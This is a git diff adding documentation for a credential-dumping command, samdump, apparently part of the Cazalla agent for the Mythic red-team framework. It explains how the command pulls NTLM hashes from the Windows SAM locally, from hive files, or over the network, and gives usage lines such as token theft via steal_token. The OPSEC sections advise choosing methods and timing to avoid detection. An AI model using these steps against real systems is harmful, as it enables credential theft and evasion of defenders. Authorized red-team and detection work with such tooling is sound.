+### Output Format + +- **username**: Local account name +- **RID**: Relative Identifier (500 = Administrator, 501 = Guest, etc.) +- **LM Hash**: LAN Manager hash (often empty or weak) +- **NTLM Hash**: NT LAN Manager hash (used for authentication) + +## Credential Reporting + +**All extracted hashes are automatically reported to Mythic:** + +- **Hashes**: Reported as `hash` credential type +- **Format**: `username:RID:LM:NTLM` +- **Realm**: Empty (local accounts, no domain) +- **Metadata**: Includes RID and LM hash information + +Credentials appear in Mythic's Credentials page (click the key icon in the UI). + +## Technical Details + +### Registry Method + +1. **Registry Access**: Reads `HKEY_LOCAL_MACHINE\SAM` and `HKEY_LOCAL_MACHINE\SYSTEM` +2. **Boot Key Extraction**: Extracts the boot key from SYSTEM hive +3. **Hash Decryption**: Decrypts password hashes using the boot key +4. **Account Enumeration**: Iterates through all local user accounts + +### Files Method + +1. **File Loading**: Uses `RegLoadKey` to load SAM and SYSTEM hives from disk +2. **Temporary Registry Keys**: Creates temporary keys under `HKEY_LOCAL_MACHINE` +3. **Boot Key Extraction**: Extracts boot key from loaded SYSTEM hive +4. **Hash Extraction**: Extracts hashes from loaded SAM hive +5. **Cleanup**: Unloads hives after extraction + +### Remote Method + +1. **Service Management**: Starts Remote Registry service if needed +2. **Network Connection**: Connects to remote registry via `RegConnectRegistry` +3. **Remote Access**: Accesses remote SAM/SYSTEM hives over network +4. **Hash Extraction**: Extracts hashes using same logic as local methods +5. **Authentication**: Supports user impersonation for authenticated access + +### Privilege Requirements + +#### Registry Method +- **SYSTEM privileges required**: The SAM database is protected and only accessible to SYSTEM +- **Use `steal_token`**: Steal token from a SYSTEM process (e.g., `steal_token 4` for System process) +- **Alternative**: Use `SeBackupPrivilege` with `NtOpenKeyEx` (Windows 7+) + +#### Files Method +- **SYSTEM privileges** OR +- **`SeBackupPrivilege` and `SeRestorePrivilege`**: Required for `RegLoadKey` operations + +#### Remote Method +- **Network access** to remote system +- **Service management rights**: Ability to start Remote Registry service +- **Valid credentials**: If impersonating (optional but recommended) + +## OPSEC Considerations + +### Method Comparison + +| Method | OPSEC Risk | Detection Likelihood | Key Indicators | +|--------|------------|---------------------|----------------| +| **Registry** | **CRITICAL** | Very High (minutes) | Direct registry access, SAM/SYSTEM hive access | +| **Files** | **MEDIUM-HIGH** | Medium-High | File read operations, RegLoadKey calls | +| **Remote** | **HIGH** | High | Network traffic, RPC calls, service manipulation | + +### Registry Method OPSEC + +**Risk Level: CRITICAL** + +- **HIGH DETECTION RISK**: SAM database access is heavily monitored +- **EDR/XDR Detection**: Most security tools have specific rules for this activity +- **Registry Access Monitoring**: Access to SAM/SYSTEM hives triggers alerts +- **Credential Theft Indicators**: This is a primary indicator of attack (MITRE T1003.002) +- **Detection Timeframe**: Detection is likely within minutes +- **Behavioral Analysis**: Pattern matching for credential extraction + +**Detection Mechanisms:** +- Registry access to `HKEY_LOCAL_MACHINE\SAM` +- Registry access to `HKEY_LOCAL_MACHINE\SYSTEM` (boot key extraction) +- Behavioral analysis (credential extraction patterns) +- Credential theft detection rules +- Security event logging (if enabled) + +**Best Practices:** +- Always use `steal_token` on SYSTEM process first +- Consider off-hours to reduce detection +- Always requires approval from another operator +- Consider alternative methods for different detection signatures +- Use sparingly and only when necessary + +### Files Method OPSEC + +**Risk Level: MEDIUM-HIGH** + +- **Lower Detection Profile**: File access is less monitored than direct registry access +- **File Access Logging**: File read operations may be logged but less aggressively +- **Privilege Requirements**: Still requires SYSTEM or backup/restore privileges +- **RegLoadKey Monitoring**: Loading registry hives may be logged +- **Useful for Offline Analysis**: Can work with backup files or offline systems + +**Detection Mechanisms:** +- File access to SAM/SYSTEM files +- `RegLoadKey` API calls +- Privilege usage (SeBackupPrivilege/SeRestorePrivilege) +- File system monitoring (if enabled) + +**Best Practices:** +- Use when you have access to SAM/SYSTEM files from backups +- Lower detection profile than registry method +- Still requires privileged access +- Useful for offline analysis of captured files +- File access logs may be monitored but less aggressively + +### Remote Method OPSEC + +**Risk Level: HIGH** + +- **Network Traffic**: RPC calls to Remote Registry service are detectable +- **Service Manipulation**: Starting Remote Registry service is logged +- **Network Monitoring**: Network-based detection is possible +- **Authentication Logging**: Authentication attempts are logged +- **Registry Access Over Network**: Remote registry access is monitored +- **Higher Visibility**: Network activity increases detection surface + +**Detection Mechanisms:** +- Network traffic (RPC calls) +- Remote Registry service start/stop events +- Authentication attempts (if impersonating) +- Network-based behavioral analysis +- Registry access over network + +**Best Practices:** +- Use only when local access is not possible +- Network traffic is detectable by network monitoring tools +- Authentication attempts are logged +- Consider using existing authenticated sessions +- Higher detection risk due to network activity +- Ensure proper network segmentation considerations + +### General OPSEC Best Practices + +- **Requires SYSTEM privileges** (for registry and files methods): Use `steal_token` on SYSTEM process first +- **Timing**: Consider off-hours to reduce detection +- **Authorization**: Ensure proper authorization before use +- **Always requires approval**: Another operator must approve execution +- **Alternative methods**: Consider using Mimikatz via `inline_execute_assembly` for different detection signatures +- **Method Selection**: Choose the method with lowest OPSEC risk for your situation + - Prefer files method when you have offline files + - Avoid remote method unless necessary + - Registry method has highest detection risk + +## Artifacts + +The command automatically reports the following artifacts based on the method used: + +### Registry Method +- **Registry Read**: `HKEY_LOCAL_MACHINE\SAM` access +- **Registry Read**: `HKEY_LOCAL_MACHINE\SYSTEM` access (boot key extraction) +- **Credential Access**: SAM database enumeration and hash extraction + +### Files Method +- **File Read**: SAM file access +- **File Read**: SYSTEM file access (boot key) +- **Credential Access**: SAM database enumeration and hash extraction from files + +### Remote Method +- **Network Connection**: Remote registry connection to target +- **Registry Read**: Remote SAM database access +- **Registry Read**: Remote SYSTEM database access (boot key) +- **Credential Access**: Remote SAM database enumeration and hash extraction + +## Related + +[Token Operations](../commands.md#token-operations) - Steal SYSTEM token +[Credentials Support](../../../features.md#credentials-support) +[OPSEC Guide](../../../opsec.md) + +--- + +**Command Category:** Credential Access +**Requires Admin:** Yes (SYSTEM privileges required for registry/files methods) +**MITRE ATT&CK:** [T1003.002 - OS Credential Dumping: Security Account Manager](https://attack.mitre.org/techniques/T1003/002/), [T1003.001 - OS Credential Dumping: LSASS Memory](https://attack.mitre.org/techniques/T1003/001/) diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Cazalla/features.md index d8d7572..da03aa6 100644 --- a/documentation-payload/Cazalla/features.md +++ b/documentation-payload/Cazalla/features.md @@ -155,6 +155,9 @@ Cazalla automatically reports artifacts created during command execution, allowi | **Process Create** | `shell` | Command execution via cmd.exe | | **Process Create** | `inline_execute` | BOF execution in current process | | **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process | +| **Registry Read** | `samdump` | SAM database access (HKEY_LOCAL_MACHINE\SAM) | +| **Registry Read** | `samdump` | SYSTEM hive access for boot key (HKEY_LOCAL_MACHINE\SYSTEM) | +| **Credential Access** | `samdump` | SAM database enumeration and hash extraction | | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification | | **File Delete** | `rm` | File or directory deletion | | **File Read** | `download` | File download operations | @@ -503,6 +506,49 @@ browser_dump chrome For detailed information, see [browser_dump command documentation](commands/browser_dump.md). +#### `samdump` + +Extracts NTLM password hashes from the Security Account Manager (SAM) database using multiple methods. + +**Extracted Data:** +- NTLM hashes for all local user accounts +- LM hashes (when available) +- Relative Identifiers (RID) for each account + +**Methods:** +1. **Registry** (default) - Direct registry access +2. **Files** - From SAM/SYSTEM files on disk +3. **Remote** - Remote registry access over network + +**Credential Reporting:** +- **Hashes**: Automatically saved to Mythic's credential store as `hash` credential type +- **Format**: `username:RID:LM:NTLM` +- **Realm**: Empty (local accounts, no domain) +- **Metadata**: Includes RID and LM hash information + +**OPSEC Considerations by Method:** + +- **Registry Method (CRITICAL)**: Direct SAM/SYSTEM registry access is heavily monitored, detection likely within minutes, requires SYSTEM privileges +- **Files Method (MEDIUM-HIGH)**: Lower detection profile than registry, file access less aggressively monitored, useful for offline analysis +- **Remote Method (HIGH)**: Network traffic detectable, service manipulation logged, authentication attempts logged, higher visibility + +**Examples:** +``` +samdump # Registry method (default) +samdump registry # Registry method (explicit) +samdump files C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM +samdump remote \\TARGET-PC +``` + +**Best Practices:** +- Always use `steal_token` on SYSTEM process first (for registry/files methods) +- Choose method with lowest OPSEC risk for your situation +- Files method preferred when you have offline files +- Remote method only when local access not possible +- Always requires approval from another operator + +For detailed information, see [samdump command documentation](commands/samdump.md). + --- ## OPSEC Checking diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Cazalla/opsec.md index 430dcf9..7b71b8a 100644 --- a/documentation-payload/Cazalla/opsec.md +++ b/documentation-payload/Cazalla/opsec.md @@ -81,6 +81,10 @@ These commands are **highly detectable** and require careful consideration: | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available | | `rm` (system files) | HIGH | Blocked for safety | Never delete system files | | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing | +| `samdump` (registry) | CRITICAL | Very High (direct SAM access) | Requires SYSTEM privileges, heavily monitored, detection within minutes | +| `samdump` (files) | MEDIUM-HIGH | Medium-High (file access) | Lower detection profile, useful for offline analysis | +| `samdump` (remote) | HIGH | High (network traffic + registry) | Network traffic detectable, service manipulation logged | +| `browser_dump` | HIGH | High (browser credential access) | Browser credential access is heavily monitored | ### 🟡 MEDIUM OPSEC RISK @@ -373,6 +377,31 @@ Built-in Cazalla commands: - **Detection**: Browser credential access is heavily monitored by EDR/XDR - **Best Practice**: Use only when necessary, always requires approval, consider timing +#### `samdump` + +The `samdump` command supports three methods with different OPSEC profiles: + +**Registry Method (Default):** +- **Risk**: CRITICAL +- **Detection**: Direct SAM/SYSTEM registry access is heavily monitored by EDR/XDR solutions +- **Detection Timeframe**: Likely within minutes +- **Best Practice**: Requires SYSTEM privileges (use `steal_token` on SYSTEM process first), always requires approval, consider timing, highest detection risk +- **Alternatives**: Use files method for lower detection profile, or Mimikatz via `inline_execute_assembly` for different detection signatures + +**Files Method:** +- **Risk**: MEDIUM-HIGH +- **Detection**: File access and RegLoadKey operations are monitored but less aggressively than direct registry access +- **Detection Timeframe**: Medium-High (hours to days) +- **Best Practice**: Lower detection profile than registry method, still requires SYSTEM or backup/restore privileges, useful for offline analysis of backup files +- **Use Case**: When you have access to SAM/SYSTEM files from backups or offline systems + +**Remote Method:** +- **Risk**: HIGH +- **Detection**: Network traffic (RPC calls), service manipulation (Remote Registry), and remote registry access are monitored +- **Detection Timeframe**: High (minutes to hours) +- **Best Practice**: Network traffic is detectable, authentication attempts are logged, use only when local access is not possible, higher visibility due to network activity +- **Use Case**: When you need to dump SAM from a remote system over the network + #### `screenshot` - **Risk**: HIGH - **Detection**: Screen capture detection, behavioral analysis